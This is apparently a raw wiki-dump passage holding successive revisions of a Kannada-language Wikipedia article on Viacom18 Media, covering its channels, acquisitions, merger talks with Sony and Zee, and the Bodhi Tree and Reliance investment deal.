ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] [[ವರ್ಗ:Pages with unreviewed translations]] 4xmvvaikv4xkazeujmv1w4j5b8lac27 1116404 1116402 2022-08-23T12:01:46Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ TV18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, Viacom18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, Viacom18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, TV18, ETV ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ETV ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, Viacom18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ETV ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ETV ಮರಾಠಿ, ETV ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ETV ಬಾಂಗ್ಲಾ ಮತ್ತು ETV ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, TV18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ Viacom ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು Viacom ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, Viacom18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2022-01-27}}</ref> ನಂತರ Sony Pictures Networks India ನೊಂದಿಗೆ ಮಾತುಕತೆಗಳನ್ನು ಪ್ರವೇಶಿಸಿತು, ಇದು ಮೊದಲು Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಬಗ್ಗೆ ಮಾತುಕತೆ ನಡೆಸಿತು. <ref>{{Cite web|url=https://www.financialexpress.com/industry/zeel-starts-due-diligence-process-for-merger-with-sony-pictures-networks/2352817/|title=ZEEL starts due diligence process for merger with Sony Pictures Networks|website=The Financial Express|language=en|access-date=2022-01-27}}</ref> === ಲೂಪಾ ಇಂಡಿಯಾದೊಂದಿಗೆ ವಿಲೀನ === ಜನವರಿ 2022 ರಲ್ಲಿ, ಉದಯ್ ಶಂಕರ್ ಮತ್ತು ಜೇಮ್ಸ್ ಮುರ್ಡೋಕ್ ಸ್ಥಾಪಿಸಿದ ಹೂಡಿಕೆ ಕಂಪನಿಯಾದ ಲುಪಾ ಇಂಡಿಯಾ, Viacom18 ನಲ್ಲಿ 39% ಪಾಲನ್ನು ಪಡೆಯುವ ಅಂತಿಮ ಹಂತದಲ್ಲಿದೆ ಎಂದು ವರದಿಗಳು ಬಂದವು. <ref>{{Cite news|url=https://www.business-standard.com/article/companies/uday-shankar-james-murdoch-firm-to-pick-up-39-stake-in-viacom-18-122012700024_1.html|title=Uday Shankar, James Murdoch firm to pick up 39% stake in Viacom 18|last=Gupta|first=Surajeet Das|date=2022-01-27|work=Business Standard India|access-date=2022-01-27}}</ref> ಆ ಮೂಲಕ ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ಅನ್ನು ಕಂಪನಿಯಲ್ಲಿ 10% ಪಾಲನ್ನು ಹೊಂದಿರುವ ಅಲ್ಪಸಂಖ್ಯಾತ ಷೇರುದಾರರನ್ನಾಗಿ ಪರಿವರ್ತಿಸುತ್ತದೆ. <ref>{{Cite news|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/uday-shankar-james-murdoch-plan-to-pick-up-nearly-40-in-viacom18-reliance-to-retain-majority-stake/articleshow/89127603.cms|title=Uday Shankar, James Murdoch plan to pick up nearly 40% in Viacom18, Reliance to retain majority stake|last=Laghate|first=Gaurav|work=The Economic Times|access-date=2022-01-27}}</ref> ಬದಲಾಗಿ, Viacom18 ಮತ್ತು ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ಅಂತಿಮವಾಗಿ ಲುಪಾ ಸಿಸ್ಟಮ್ಸ್ ಒಡೆತನದ ಕಂಪನಿಯಾದ ಬೋಧಿ ಟ್ರೀ ಸಿಸ್ಟಮ್ಸ್ ಜೊತೆಗೆ ದೈತ್ಯ ಸ್ಟ್ರೀಮಿಂಗ್ ಮತ್ತು ಟಿವಿ ಕಂಪನಿಯನ್ನು ರೂಪಿಸಲು ಪಾಲುದಾರಿಕೆ ಮಾಡಿಕೊಂಡವು. ಬೋಧಿ ಟ್ರೀ ವಯಾಕಾಮ್ 18 ನಲ್ಲಿ USD$1.8 ಶತಕೋಟಿ ಹೂಡಿಕೆ ಮಾಡಲು ಯೋಜಿಸಿದೆ, ರಿಲಯನ್ಸ್ USD$216 ಮಿಲಿಯನ್ ಹೂಡಿಕೆ ಮಾಡುತ್ತಿದೆ ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ Viacom18 ನಲ್ಲಿ ಷೇರುದಾರರಾಗಿ ಮುಂದುವರಿಯುತ್ತದೆ; JioCinema ಅನ್ನು Viacom18 ಗೆ ವರ್ಗಾಯಿಸಲಾಗುತ್ತದೆ. ಒಪ್ಪಂದವು ಅಕ್ಟೋಬರ್ 2022 ರೊಳಗೆ ಮುಕ್ತಾಯಗೊಳ್ಳುವ ನಿರೀಕ್ಷೆಯಿದೆ, ನಿಯಂತ್ರಕ ಅನುಮೋದನೆಗೆ ಬಾಕಿಯಿದೆ. <ref>{{Cite web|url=https://variety.com/2022/tv/asia/james-murdoch-bodhi-tree-reliance-viacom18-2-billion-deal-1235242692/|title=James Murdoch's Bodhi Tree, Reliance, Viacom18 Strike $2 Billion Deal to Create Giant Indian TV and Streaming Company|last=Ramachandran|first=Naman|date=27 April 2022|website=[[Variety (magazine)|Variety]]|access-date=20 May 2022}}</ref> == ಮೇಲ್ಭಾಗದಲ್ಲಿ (OTT) == * ವೋಟ್ * ಪ್ಯಾರಾಮೌಂಟ್+ (ಭಾರತದಲ್ಲಿ 2023 ರಲ್ಲಿ ಪ್ರಾರಂಭವಾಗಲಿದೆ) <ref>{{Cite news|url=https://www.thehindu.com/entertainment/movies/paramount-announces-2023-india-launch-in-partnership-with-viacom18/article65384315.ece|title=Paramount+ announces 2023 India launch in partnership with Viacom18|date=2022-05-05|work=The Hindu|access-date=2022-06-14|others=PTI|language=en-IN|issn=0971-751X}}</ref> == ಸಹ ನೋಡಿ == * ಪ್ಯಾರಾಮೌಂಟ್ ಇಂಟರ್ನ್ಯಾಷನಲ್ ನೆಟ್ವರ್ಕ್ಸ್ ** ಪ್ಯಾರಾಮೌಂಟ್ ನೆಟ್ವರ್ಕ್ಸ್ EMEAA * Network18 ಗುಂಪು == ಉಲ್ಲೇಖಗಳು == {{Reflist|refs="Viacom18 Media Pvt. Ltd". Viacom18.com. Archived from the original on 23 October 2018. Retrieved 27 July 2018. "TV18 Broadcast Ltd (CRD)" (PDF). BSEIndia. Archived from the original (PDF) on 23 September 2015. "Corporate restructure complete for India's Network18". rapidtvnews.com. Retrieved 10 August 2017. "Beefing Up The Bouquet". business.outlookindia.com. Retrieved 10 August 2018. "Viacom18 launches its new channel 'sonic' in India". India Infoline. 5 December 2018. Retrieved 26 December 2018. "TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc". Viacom18. 31 January 2018. Retrieved 31 January 2018. "Our Channels - On Air". viacom18.com. https://bestmediainfo.com/2019/09/colors-telugu-goes- digital-first-to-launch-on-voot-on-sept-23/ https://brandequity.economictimes.indiatimes.com/news/media/viacom18-goes-digital-first-launches-colors- telugu-on-voot/71187480}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * [http://www.viacom18.com ಅಧಿಕೃತ ಸೈಟ್] [[ವರ್ಗ:Pages with unreviewed translations]] 5t824jnq2ioz4raih9b4ze0nlp8apui 1116405 1116404 2022-08-23T12:04:08Z Ishqyk 76644 wikitext text/x-wiki '''ವಿಯಾಕಾಂ 18 ಮೀಡಿಯಾ ಪ್ರೈವೇಟ್ ಲಿಮಿಟೆಡ್''' [[ಮುಂಬಯಿ.|ಮುಂಬೈ]] ಮೂಲದ TV18 ಮತ್ತು ಪ್ಯಾರಾಮೌಂಟ್ ಗ್ಲೋಬಲ್ ನಡುವಿನ ಭಾರತೀಯ ಮಾಧ್ಯಮ ಮತ್ತು ಮನರಂಜನಾ ಜಂಟಿ ಉದ್ಯಮವಾಗಿದೆ . <ref>{{Cite web|url=http://www.rapidtvnews.com/index.php/2011061512860/corporate-restructure-complete-for-indias-network18.html|title=Corporate restructure complete for India's Network18|publisher=rapidtvnews.com|access-date=10 August 2017}}</ref> ಇದನ್ನು 2007 ರಲ್ಲಿ ಸ್ಥಾಪಿಸಲಾಯಿತು ಮತ್ತು ಭಾರತದಲ್ಲಿ ವಿವಿಧ ಚಾನೆಲ್‌ಗಳು ಮತ್ತು ಕಂಟೆಂಟ್ ಪ್ರೊಡಕ್ಷನ್ ಸ್ಟುಡಿಯೋಗಳನ್ನು ಹೊಂದಿದೆ. == ಇತಿಹಾಸ == ಜನವರಿ 2010 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್‌ನಲ್ಲಿ ಕಲರ್ಸ್‌ನ ಪ್ರಾರಂಭದೊಂದಿಗೆ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಟ್ಟಕ್ಕೆ ಏರಿತು. ಚಾನಲ್ ಅನ್ನು ಆಪ್ಕಾ ಕಲರ್ಸ್ ಎಂದು ಕರೆಯಲಾಗುತ್ತದೆ. ಜುಲೈ 2010 ರಲ್ಲಿ, ಇದು ಸನ್ ನೆಟ್‌ವರ್ಕ್‌ನೊಂದಿಗೆ 50/50 ವಿತರಣಾ ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ಸನ್ <ref>{{Cite web|url=http://business.outlookindia.com/article.aspx?270571|title=Beefing Up The Bouquet|publisher=business.outlookindia.com|access-date=10 August 2018}}</ref> ಅನ್ನು ರಚಿಸಿತು. ಡಿಸೆಂಬರ್ 2011 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಯುವ ವಯಸ್ಕರನ್ನು ಗುರಿಯಾಗಿಸಿಕೊಂಡು Nickelodeon Sonic ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು. <ref>{{Cite web|url=http://www.indiainfoline.com/Markets/News/Viacom18-launches-its-new-channel-sonic-in-India/5303665136|title=Viacom18 launches its new channel 'Sonic Nickelodeon' in India|date=5 December 2018|publisher=[[India Infoline]]|access-date=26 December 2018}}</ref> ಜನವರಿ 2014 ರಲ್ಲಿ, ಟಿವಿ 18, ಈ ಟಿವಿ ಬ್ರಾಂಡ್ ಹೆಸರನ್ನು ಬಳಸಲು ಅನುಮತಿಯೊಂದಿಗೆ, ₹2,053 ಕೋಟಿಗೆ ಈ ಟಿವಿ ನೆಟ್‌ವರ್ಕ್‌ನ [[ತೆಲುಗು]] ಭಾಷೆಯೇತರ ಟಿವಿ ಸ್ವತ್ತುಗಳನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಂಡಿತು. <ref>[http://economictimes.indiatimes.com/industry/media/entertainment/media/network18-finishes-rs-2053-cr-deal-to-acquire-etv-stakes/articleshow/29215772.cms Network18 finishes Rs 2,053-cr deal to acquire ETV stakes]</ref> ಮಾರ್ಚ್ 2015 ರಲ್ಲಿ, ವಿಯಾಕಾಂ 18 ಎಲ್ಲಾ ಐದು [[ತೆಲುಗು]] ಅಲ್ಲದ ಈಟಿವಿ ಪ್ರಾದೇಶಿಕ ಸಾಮಾನ್ಯ ಮನರಂಜನಾ ಚಾನೆಲ್‌ಗಳನ್ನು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲು ನಿರ್ಧರಿಸಿತು. ಈಟಿವಿ ಮರಾಠಿ, ಈಟಿವಿ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ|ETV ಕನ್ನಡ]], ಈಟಿವಿ ಬಾಂಗ್ಲಾ ಮತ್ತು ಈಟಿವಿ ಒಡಿಯಾವನ್ನು ಕ್ರಮವಾಗಿ ಕಲರ್ಸ್ ಮರಾಠಿ, ಕಲರ್ಸ್ ಗುಜರಾತಿ, [[ಕಲರ್ಸ್ ಕನ್ನಡ]], ಕಲರ್ಸ್ ಬಾಂಗ್ಲಾ ಮತ್ತು ಕಲರ್ಸ್ ಒಡಿಯಾ ಎಂದು ಮರುಬ್ರಾಂಡ್ ಮಾಡಲಾಯಿತು. <ref>{{Cite web|url=http://www.bestmediainfo.com/2015/03/viacom18-extends-colors-franchise-with-5-new-regional-avatars|title=ETV re-branding to Colors|access-date=4 March 2015}}</ref> ಕಂಪನಿಯು ವಯಾಕಾಮ್ 18 ಸ್ಟುಡಿಯೋಸ್ ಅನ್ನು ಸಹ ಹೊಂದಿದೆ. 31 ಜನವರಿ 2018 ರಂದು, ಟಿವಿ18 ಜಂಟಿ ಉದ್ಯಮದಲ್ಲಿ ವಿಯಾಕಾಂ ನ ಬಹುಮತವನ್ನು ಸ್ವಾಧೀನಪಡಿಸಿಕೊಳ್ಳುವುದಾಗಿ ಘೋಷಿಸಿತು, ಕಾರ್ಯಾಚರಣೆಯ ನಿಯಂತ್ರಣವನ್ನು ತೆಗೆದುಕೊಳ್ಳುತ್ತದೆ ಮತ್ತು ವಿಯಾಕಾಂ ಅನ್ನು ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಿತಾಸಕ್ತಿಯೊಂದಿಗೆ ಬಿಟ್ಟಿತು. <ref>{{Cite web|url=https://www.viacom18.com/media/tv18-to-increase-stake-to-51-percentage-in-viacom18-the-jv-withviacom-inc|title=TV18 to increase stake to 51% in Viacom18, the JV with Viacom Inc|date=31 January 2018|website=Viacom18|access-date=31 January 2018}}</ref> 1 ಅಕ್ಟೋಬರ್ 2019 ರಂದು, ವಿಯಾಕಾಂ 18 ಆಸ್ಟ್ರೋ ಮಲೇಷಿಯಾದಲ್ಲಿ [[ಮಲೇಶಿಯ|ಮಲೇಷ್ಯಾದಲ್ಲಿ]] ಕಲರ್ಸ್ HD ಅನ್ನು ಪ್ರಾರಂಭಿಸಿತು; ಪ್ರತಿ ಧಾರಾವಾಹಿಯನ್ನು ಮಲಯ ಮತ್ತು ಇಂಗ್ಲಿಷ್ ಉಪಶೀರ್ಷಿಕೆಗಳೊಂದಿಗೆ ನೀಡಲಾಗುತ್ತದೆ.{{Fact|date=November 2019}} ತೀರಾ ಇತ್ತೀಚೆಗೆ, ಕಂಪನಿಯು ತಮ್ಮ ಸ್ವಂತ ನೆಟ್‌ವರ್ಕ್‌ಗಳಿಗೆ ಲೈವ್ NBA ಆಟಗಳನ್ನು ತಲುಪಿಸುವ ಸಲುವಾಗಿ ರಾಷ್ಟ್ರೀಯ ಬ್ಯಾಸ್ಕೆಟ್‌ಬಾಲ್ ಅಸೋಸಿಯೇಷನ್‌ನೊಂದಿಗೆ ಒಪ್ಪಂದಕ್ಕೆ ಸಹಿ ಹಾಕಿದೆ. <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/viacom18-inks-three-year-media-rights-deal-with-nba-117167.html|title=Viacom18 inks three-year media rights deal with NBA - Exchange4media|website=Indian Advertising Media & Marketing News – exchange4media|language=en|access-date=2021-12-04}}</ref> == ವಿಲೀನ ಪ್ರಯತ್ನಗಳು == === ಸೋನಿ ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2020 ರಲ್ಲಿ, [[ಸೋನಿ|Sony]] ನ ಭಾರತೀಯ ಘಟಕ Sony Pictures Networks India Viacom18 ನೊಂದಿಗೆ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿದೆ, ಮಾತುಕತೆಗಳು ಬಹಳ ನಂತರ ಮುಂದುವರೆದವು. ವಿಲೀನವು ಯಶಸ್ವಿಯಾದರೆ, ವಿಲೀನಗೊಂಡ ಕಂಪನಿಯಲ್ಲಿ ಸೋನಿ 74% ಷೇರುದಾರರಾಗಿರುತ್ತಾರೆ. <ref>{{Cite web|url=https://www.nationalheraldindia.com/national/sony-to-own-74-after-merger-with-viacom-18-to-battle-disney-star|title=Sony to own 74% after merger with Viacom 18, to battle Disney Star|last=IANS|date=2020-07-21|website=National Herald|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ ಅಕ್ಟೋಬರ್ 2020 ರಲ್ಲಿ, Viacom18 ನಲ್ಲಿ ಬಹುಪಾಲು ಷೇರು <ref>{{Cite web|url=https://timesofindia.indiatimes.com/business/india-business/reliance-industries-calls-off-merger-of-viacom18-with-sony/articleshow/78493163.cms|title=Reliance Industries calls off merger of Viacom18 with Sony - Times of India|date=Oct 5, 2020|website=The Times of India|language=en|access-date=2022-01-27}}</ref> ರಿಲಯನ್ಸ್ ಇಂಡಸ್ಟ್ರೀಸ್ ವಿಲೀನವನ್ನು ರದ್ದುಗೊಳಿಸಿತು. <ref>{{Cite web|url=https://www.livemint.com/industry/media/sony-viacom18-merger-called-off-11601888757116.html|title=Sony's slated merger with Viacom18 now called off|last=Jha|first=Lata|date=2020-10-05|website=mint|language=en|access-date=2022-01-27}}</ref> <ref>{{Cite web|url=https://economictimes.indiatimes.com/industry/media/entertainment/media/post-rethink-ril-calls-off-merger-of-viacom18-sony/articleshow/78483506.cms|title=Jio {{!}} Mukesh Ambani: With Jio in mind, Mukesh Ambani's RIL calls off merger of Viacom18, Sony|website=The Economic Times|access-date=2022-01-27}}</ref> === Zee ಜೊತೆ ವಿಲೀನ === ಜೂನ್ 2021 ರಲ್ಲಿ, <ref>{{Cite web|url=https://www.livemint.com/companies/news/viacom18-and-zee-entertainment-in-early-merger-talks-11624212805434.html|title=Viacom18 and Zee Entertainment in early merger talks|last=Laskar|first=Anirudh|date=2021-06-20|website=mint|language=en|access-date=2022-01-27}}</ref> ವರದಿಗಳು Viacom18 ಮತ್ತು Zee ಎಂಟರ್‌ಟೈನ್‌ಮೆಂಟ್ ಎಂಟರ್‌ಪ್ರೈಸಸ್ ವಿಲೀನದ ಕುರಿತು ಮಾತುಕತೆ ನಡೆಸುತ್ತಿವೆ ಎಂದು ವರದಿ ಮಾಡಿದೆ. <ref>{{Cite web|url=https://www.indiantelevision.com/television/tv-channels/gecs/viacom18-and-zeel-eyeing-a-merger-210621|title=Viacom18 and Zeel eyeing a merger?|date=2021-06-21|website=Indian Television Dot Com|language=en|access-date=2022-01-27}}</ref> ಆದಾಗ್ಯೂ, Viacom18 ನೊಂದಿಗೆ ಸಂಭಾವ್ಯ ವಿಲೀನದ ಕುರಿತು ಯಾವುದೇ ಮಾತುಕತೆಗಳನ್ನು Zee ನಿರಾಕರಿಸಿತು, <ref>{{Cite web|url=https://www.exchange4media.com/media-tv-news/zeel-denies-any-potential-merger-deal-with-viacom18-113705.html|title=ZEEL denies any potential merger deal with Viacom18 - Exchange4media|website=Indian Advertising Media & Marketing News – 